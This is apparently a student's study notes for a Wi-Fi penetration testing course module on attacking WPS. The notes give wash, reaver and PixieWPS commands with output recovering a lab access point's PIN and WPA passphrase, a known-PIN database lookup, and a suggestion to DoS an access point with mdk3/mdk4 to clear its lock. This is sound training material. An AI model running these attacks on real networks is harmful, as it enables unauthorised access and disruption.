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    • Hack The Box
      • Bug Bounty Hunter
        • Module 1: Web Requests
        • Module 2: Introduction to Web Applications
        • Module 3: Using Web Proxies
        • Module 4: Information Gathering - Web Edition
        • Module 5: Attacking Web Applications with Ffuf
        • Module 6: JavaScript Deobfuscation
        • Module 7: Cross-Site Scripting (XSS)
        • Module 8: SQL Injection Fundamentals
        • Module 9: SQLMap Essentials
        • Module 10: Command Injections
        • Module 11: File Upload Attacks
        • Module 12: Server-Side Attacks
        • Module 13: Login Brute Forcing
        • Module 14: Broken Authentication
        • Module 15: Web Attacks
        • Module 16: File Inclusion
        • Module 17: Session Security
        • Module 18: Web Service & API Attacks
        • Module 19: Hacking Wordpress
        • Module 20: Bug Bounty Hunting Process
    • OffSec
      • 🦊EXP-301
        • Module 1: Windows User Mode Exploit Development: General Course Information
        • Module 2: WinDbg and x86 Architecture
        • Module 3: Exploiting Stack Overflows
        • Module 4: Exploiting SEH Overflows
        • Module 5: Introduction to IDA Pro
        • Module 6: Overcoming Space Restrictions: Egghunters
        • Module 7: Creating Custom Shellcode
        • Module 8: Reverse Engineering for Bugs
        • Module 9: Stack Overflows and DEP Bypass
        • Module 10: Stack Overflows and ASLR Bypass
        • Module 11: Format String Specifier Attack Part I
        • Module 12: Format String Specifier Attack Part II
        • Module 13: Trying Harder: The Labs
      • 🐙EXP-312
        • Module 1: macOS Control Bypasses: General Course Information
        • Module 2: Virtual Machine Setup Guide
        • Module 3: Introduction to macOS
        • Module 4: macOS Binary Analysis Tools
        • Module 5: The Art of Crafting Shellcodes
        • Module 6: The Art of Crafting Shellcodes (Apple Silicon Edition)
        • Module 7: Dylib Injection
        • Module 8: The Mach Microkernel
        • Module 9: XPC Attacks
        • Module 10: Function Hooking on macOS
        • Module 11: The macOS Sandbox
        • Module 12: Bypassing Transparency, Consent, and Control (Privacy)
        • Module 13: GateKeeper Internals
        • Module 14: Bypassing GateKeeper
        • Module 15: Symlink and Hardlink Attacks
        • Module 16: Injecting Code into Electron Applications
        • Module 17: Getting Kernel Code Execution
        • Module 18: Mach IPC Exploitation
        • Module 19: macOS Penetration Testing
        • Module 20: Chaining Exploits on macOS Ventura
        • Module 21: Mount(ain) of Bugs (archived)
      • ⚓IR-200
        • Module 1: Incident Response Overview
        • Module 2: Fundamentals of Incident Response
        • Module 3: Phases of Incident Response
        • Module 4: Incident Response Communication Plans
        • Module 5: Common Attack Techniques
        • Module 6: Incident Detection and Identification
        • Module 7: Initial Impact Assessment
        • Module 8: Digital Forensics for Incident Responders
        • Module 9: Incident Response Case Management
        • Module 10: Active Incident Containment
        • Module 11: Incident Eradication and Recovery
        • Module 12: Post-Mortem Reporting
        • Module 13: Incident Response Challenge Labs
      • 🐉PEN-103
      • 🐲PEN-200
        • Module 1: Copyright
        • Module 2: Penetration Testing with Kali Linux: General Course Information
        • Module 3: Introduction to Cybersecurity
        • Module 4: Effective Learning Strategies
        • Module 5: Report Writing for Penetration Testers
        • Module 6: Information Gathering
        • Module 7: Vulnerability Scanning
        • Module 8: Introduction to Web Application Attacks
        • Module 9: Common Web Application Attacks
        • Module 10: SQL Injection Attacks
        • Module 11: Client-side Attacks
        • Module 12: Locating Public Exploits
        • Module 13: Fixing Exploits
        • Module 14: Antivirus Evasion
        • Module 15: Password Attacks
        • Module 16: Windows Privilege Escalation
        • Module 17: Linux Privilege Escalation
        • Module 18: Port Redirection and SSH Tunneling
        • Module 19: Tunneling Through Deep Packet Inspection
        • Module 20: The Metasploit Framework
        • Module 21: Active Directory Introduction and Enumeration
        • Module 22: Attacking Active Directory Authentication
        • Module 23: Lateral Movement in Active Directory
        • Module 24: Enumerating AWS Cloud Infrastructure
        • Module 25: Attacking AWS Cloud Infrastructure
        • Module 26: Assembling the Pieces
        • Module 27: Trying Harder: The Challenge Labs
      • 🛜PEN-210
        • Module 1: IEEE 802.11
        • Module 2: Wireless Networks
        • Module 3: Wi-Fi Encryption
        • Module 4: Linux Wireless Tools, Drivers, and Stacks
        • Module 5: Wireshark Essentials
        • Module 6: Frames and Network Interaction
        • Module 7: Aircrack-ng Essentials
        • Module 8: Cracking Authentication Hashes
        • Module 9: Attacking WPS Networks
        • Module 10: Rogue Access Points
        • Module 11: Attacking Captive Portals
        • Module 12: Attacking WPA Enterprise
        • Module 13: bettercap Essentials
        • Module 14: Determining Chipsets and Drivers
        • Module 15: Kismet Essentials
        • Module 16: Manual Network Connections
      • 🔗PEN-300
        • Module 1: Evasion Techniques and Breaching Defenses: General Course Information
        • Module 2: Operating System and Programming Theory
        • Module 3: Client Side Code Execution With Office
        • Module 4: Phishing with Microsoft Office
        • Module 5: Client Side Code Execution With Windows Script Host
        • Module 6: Reflective PowerShell
        • Module 7: Process Injection and Migration
        • Module 8: Introduction to Antivirus Evasion
        • Module 9: Advanced Antivirus Evasion
        • Module 10: Application Whitelisting
        • Module 11: Bypassing Network Filters
        • Module 12: Linux Post-Exploitation
        • Module 13: Kiosk Breakouts
        • Module 14: Windows Credentials
        • Module 15: Windows Lateral Movement
        • Module 16: Linux Lateral Movement
        • Module 17: Microsoft SQL Attacks
        • Module 18: Active Directory Exploitation
        • Module 19: Attacking Active Directory
        • Module 20: Combining the Pieces
        • Module 21: Trying Harder: The Labs
      • ⚛️SEC-100
      • 🛡️SOC-200
        • Module 1: Introduction to SOC-200
        • Module 2: Attacker Methodology Introduction
        • Module 3: Windows Endpoint Introduction
        • Module 4: Windows Server Side Attacks
        • Module 5: Windows Client-Side Attacks
        • Module 6: Windows Privilege Escalation
        • Module 7: Windows Persistence
        • Module 8: Linux Endpoint Introduction
        • Module 9: Linux Server Side Attacks
        • Module 10: Linux Privilege Escalation
        • Module 11: Network Detections
        • Module 12: Antivirus Alerts and Evasion
        • Module 13: Active Directory Enumeration
        • Module 14: Network Evasion and Tunneling
        • Module 15: Windows Lateral Movement
        • Module 16: Active Directory Persistence
        • Module 17: SIEM Part One: Intro to ELK
        • Module 18: SIEM Part Two: Combining the Logs
        • Module 19: Trying Harder: The Labs
      • TH-200
        • Module 1: Threat Hunting Concepts and Practices
        • Module 2: Threat Actor Landscape Overview
        • Module 3: Communication and Reporting for Threat Hunters
        • Module 4: Hunting With Network Data
        • Module 5: Hunting on Endpoints
        • Module 6: Theat Hunting Without IoCs
        • Module 7: Threat Hunting Challenge Labs
      • 🦉WEB-200
        • Module 1: Introduction to WEB-200
        • Module 2: Tools (archived)
        • Module 3: Web Application Enumeration Methodology
        • Module 4: Introduction to Burp Suite
        • Module 5: Cross-Site Scripting Introduction and Discovery
        • Module 6: Cross-Site Scripting Exploitation and Case Study
        • Module 7: Cross-Origin Attacks
        • Module 8: Introduction to SQL
        • Module 9: SQL Injection
        • Module 10: Directory Traversal Attacks
        • Module 11: XML External Entities
        • Module 12: Server-side Template Injection - Discovery and Exploitation
        • Module 13: Command Injection
        • Module 14: Server-side Request Forgery
        • Module 15: Insecure Direct Object Referencing
        • Module 16: Assembling the Pieces: Web Application Assessment Breakdown
      • 🕷️WEB-300
        • Module 1: Introduction
        • Module 2: Tools & Methodologies
        • Module 3: ManageEngine Applications Manager AMUserResourcesSyncServlet SSQL Injection RCE
        • Module 4: DotNetNuke Cookie Deserialization RCE
        • Module 5: ERPNext Authentication Bypass and Remote Code Execution
        • Module 6: openCRX Authentication Bypass and Remote Code Execution
        • Module 7: openITCOCKPIT XSS and OS Command Injection - Blackbox
        • Module 8: Concord Authentication Bypass to RCE
        • Module 9: Server-Side Request Forgery
        • Module 10: Guacamole Lite Prototype Pollution
        • Module 11: Dolibarr Eval Filter Bypass RCE
        • Module 12: RudderStack SQLi and Coraza WAF Bypass
        • Module 13: Conclusion
        • Module 14: ATutor Authentication Bypass and RCE (archived)
        • Module 15: ATutor LMS Type Juggling Vulnerability (archived)
        • Module 16: Atmail Mail Server Appliance: from XSS to RCE (archived)
        • Module 17: Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability (archived)
    • SANS
      • FOR572
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On this page
  • WPS Technology Details
  • WPS Vulnerabilities
  • WPS Attack
  • Implementation Variations
  • Overcoming Unexpected Errors
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  1. Courses
  2. OffSec
  3. PEN-210

Module 9: Attacking WPS Networks

WPS Technology Details

Just discussing WPS technology, requirements, etc.

WPS Vulnerabilities

PIN verification is done in two parts. The first half is checked, then the second half rather than the entire PIN. First half has 10000 possibilities, second half has 1000. A couple tools were developed to attack this, reaver and bully. PixieWPS takes advantage of the weak random number generator used in a few chipsets, meaning not all WPS implementations are vulnerable.

WPS Attack

Using wash to list out APs with WPS:

kali@kali:~$ wash -i wlan0mon
BSSID               Ch  dBm  WPS  Lck  Vendor    ESSID
--------------------------------------------------------------------------------
00:0A:D0:97:39:6F    1  -88  2.0  No   Broadcom  linksys
C8:BC:C8:FE:D9:65    2  -28  2.0  No   AtherosC  secnet
34:08:04:09:3D:38    3  -32  1.0  No   RalinkTe  wifu

WPS version 2 mandated mitigations to prevent brute forcing, which may actually just slow down a brutefroce. Lck indicates if WPS is locked, meaning an attack is pointless.

wash by default scans the 2.4GHz band but can scan 5GHz by using the -5 option. We can also just use airodump-ng to display WPS information using --wps.

Using reaver to attack an AP with WPS:

kali@kali:~$ sudo reaver -b 34:08:04:09:3D:38 -i wlan0mon -v

Reaver v1.6.6 WiFi Protected Setup Attack Tool                 
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 34:08:04:09:3D:38
[+] Switching wlan0mon to channel 1
[+] Switching wlan0mon to channel 2
[+] Switching wlan0mon to channel 3
[+] Received beacon from 34:08:04:09:3D:38               
[+] Vendor: RalinkTe                                     
[+] Trying pin "12345670"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
[+] Trying pin "00005678"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)      
[+] Trying pin "01235678"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
[+] Trying pin "11115670"                                      
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)      
[+] Trying pin "22225672"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
[+] Trying pin "33335674"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
[+] 0.05% complete @ 1985-10-27 11:00:00 (2 seconds/pin)
...

If vulnerable to the PixieWPS attack, results will be much quicker:

kali@kali:~$ sudo reaver -b 34:08:04:09:3D:38 -i wlan0mon -v -K

Reaver v1.6.6 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 34:08:04:09:3D:38
[+] Received beacon from 34:08:04:09:3D:38
[+] Vendor: RalinkTe
[+] Trying pin "12345670"
[+] Associated with 34:08:04:09:3D:38 (ESSID: wifu)
executing pixiewps -e b882382e407e4af64fcf9d71ef8ace569fd453ccafb4d1172eaf2a32defa7b36908dea0a0e55e300d5d853e7289ae8488c785af8928b16575486f1560c6a5720c1665d9d4fcdd987248e3f47fd2a00bf9de2f583f45240db1f4aa619098a81fa5ce3663bc0101509ffbfa68e8647042357de76a21718ce4d1defb9006e7396c80e696d6d7ec03bf7fce08850dfcf2a6730cf47ff274f3a1d3d1eba7570c297bbdd52188ac18a936a092b80632bbbe8ffa468caf2c935dda67a8f70bc24fcedb1 -s ec2fd098686d9fc441784e0c13e311a6e11141898ec863b78e213a89335ce7a9 -z 482cbb8708a1605324bc474f2e8881305f39ec4261521681432c12d8b1c0ff17 -a 34e844d2bae3119498c26f59a6dde7d18b5665a173d1adbb05d1907f3650118b -n f56bdccaa2cf51595e5f5ff9295dd6b1 -r 0495e5f459cd26b325b87f2d36d2e6da2d00cf157a394de126345599376525a1b0669f5483830fb504ce03453a7164c739e0619e4cc4992c9db16b73ae8ccb57c9d14670cefeda188cdb681e1c1549019db64dc27fc8ec305684f437e014ac6288c9e8be8d4b1ea33e074b6b3bd9e1b9c2f233f2996cec17b6bb68af36fdbf92f1783ded438e43bd19ff73b73f11b053ccb44669db37c4549053b99b1ae268c8b1eb38ef105e1c1b845f86a5814b4eee4892bc473b75c59462801918b5512f9f

 Pixiewps 1.4

 [?] Mode:     1 (RT/MT/CL)
 [*] Seed N1:  0xa0092e17
 [*] Seed ES1: 0x00000000
 [*] Seed ES2: 0x00000000
 [*] PSK1:     39768b33293254526142aa2d3d55dbf8
 [*] PSK2:     385c8893197a003fc767af1eebdbdda8
 [*] ES1:      00000000000000000000000000000000
 [*] ES2:      00000000000000000000000000000000
 [+] WPS pin:  96039620

 [*] Time taken: 0 s 17 ms

[+] Pixiewps: success: setting pin to 96039620
[+] WPS PIN: '96039620'
[+] WPA PSK: 'Where we are going, we dont need roads'
[+] AP SSID: 'wifu'

Implementation Variations

Checking the first three bytes of the BSSID against known PINs:

kali@kali:~$ sudo apt install airgeddon
...

kali@kali:~$ source /usr/share/airgeddon/known_pins.db

kali@kali:~$ echo ${PINDB["0013F7"]}
14755989 48703970 06017637

Overcoming Unexpected Errors

WPS Transaction Failure

[!] WPS transaction failed (code: 0x03), re-trying last pin

  • Could be a temporary failure. Restart reaver without the PixieWPS option.

ACK Issues

[+] Sending identity response
[+] Received identity request

  • The wireless card doesn't acknowledge frames sent by the AP. Use a different wireless card with a different chipset.

WPS Lock

  • When WPS is locked, a DoS on the AP can be done via mdk3 or mdk4. This will trigger a reboot a reboot which releases the lock.

PreviousModule 8: Cracking Authentication HashesNextModule 10: Rogue Access Points

Last updated 7 months ago

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